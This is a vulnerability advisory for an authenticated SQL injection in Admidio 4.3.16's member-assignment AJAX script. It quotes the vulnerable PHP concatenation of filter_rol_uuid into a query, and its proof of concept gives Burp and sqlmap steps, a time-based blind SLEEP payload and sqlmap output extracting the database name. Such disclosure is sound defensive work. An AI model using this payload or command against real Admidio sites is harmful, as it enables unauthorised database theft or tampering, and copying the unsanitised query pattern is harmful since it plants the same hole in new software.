Admidio Vulnerable to Authenticated SQL Injection in Member Assignment Functionality

Summary

An authenticated SQL injection vulnerability exists in the member assignment data retrieval functionality of Admidio. Any authenticated user with permissions to assign members to a role (such as an administrator) can exploit this vulnerability to execute arbitrary SQL commands. This can lead to a full compromise of the application's database, including reading, modifying, or deleting all data. The vulnerability is present in the latest version, 4.3.16.

Details

The vulnerability is located in the adm_program/modules/groups-roles/members_assignment_data.php script. This script handles an AJAX request to fetch a list of users for role assignment. The filter_rol_uuid GET parameter is not properly sanitized before being used in a raw SQL query.

File: adm_program/modules/groups-roles/members_assignment_data.php

// ... 
// The parameter is retrieved from the GET request without sufficient sanitization for SQL context.
$getFilterRoleUuid = admFuncVariableIsValid($_GET, 'filter_rol_uuid', 'string');
$getMembersShowAll = admFuncVariableIsValid($_GET, 'mem_show_all', 'bool', array('defaultValue' => false));

// ... 
$filterRoleCondition = '';
if ($getMembersShowAll) {
    $getFilterRoleUuid = 0;
} else {
    // show only members of current organization
    if ($getFilterRoleUuid !== '') {
        // VULNERABLE CODE: $getFilterRoleUuid is directly concatenated into the query string.
        $filterRoleCondition = ' AND rol_uuid = \''.$getFilterRoleUuid . '\'';
    }
}

// ...
// The vulnerable $filterRoleCondition is then used inside a subselect.
$sqlSubSelect = '(SELECT COUNT(*) AS count_this
                    FROM '.TBL_MEMBERS.'
              INNER JOIN '.TBL_ROLES.'
                      ON rol_id = mem_rol_id
              INNER JOIN '.TBL_CATEGORIES.'
                      ON cat_id = rol_cat_id
                   WHERE mem_usr_id  = usr_id
                     AND mem_begin  <= \''.DATE_NOW.'\'
                     AND mem_end     > \''.DATE_NOW.'\'
                         '.$filterRoleCondition.'
                     AND rol_valid = true
                     AND cat_name_intern <> \'EVENTS\'
                     AND cat_org_id = '.$gCurrentOrgId.')';
// ...

As shown above, the value of $getFilterRoleUuid is directly concatenated into the $filterRoleCondition variable, which is then embedded within a larger SQL query ($sqlSubSelect). This allows an attacker to break out of the string literal and inject arbitrary SQL commands.

PoC (Proof of Concept)

Prerequisites:

1. A running instance of Admidio (tested on version 4.3.16).
2. An authenticated user session with permissions to assign members to a role (e.g., the default 'admin' user).

Execution: The vulnerability can be triggered by manipulating the filter_rol_uuid parameter in the request to /adm_program/modules/groups-roles/members_assignment_data.php. Due to the large number of parameters, the easiest way to reproduce this is by capturing a legitimate request and replaying it with sqlmap.

1. Log in to Admidio as an administrator.
2. Navigate to Groups / Roles.
3. Click the "Assign members" icon for any existing role.
4. Using a web proxy like Burp Suite, intercept the GET request made to /adm_program/modules/groups-roles/members_assignment_data.php.
5. Save the entire raw request to a text file (e.g., admidio_request.txt).
6. Run the following sqlmap command to confirm the time-based blind SQL injection:

sqlmap -r /path/to/admidio_request.txt -p filter_rol_uuid --technique=T --dbms=mysql --current-db

Result: sqlmap will successfully identify and exploit the time-based blind SQL injection vulnerability.

---
Parameter: filter_rol_uuid (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: role_uuid=...&filter_rol_uuid=' AND (SELECT 3332 FROM (SELECT(SLEEP(5)))vqnl) AND 'ENdG'='ENdG&...
---
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[INFO] fetching current database
[INFO] retrieved: admidio
current database: 'admidio'

This confirms that an attacker can execute arbitrary SQL queries and extract information from the database.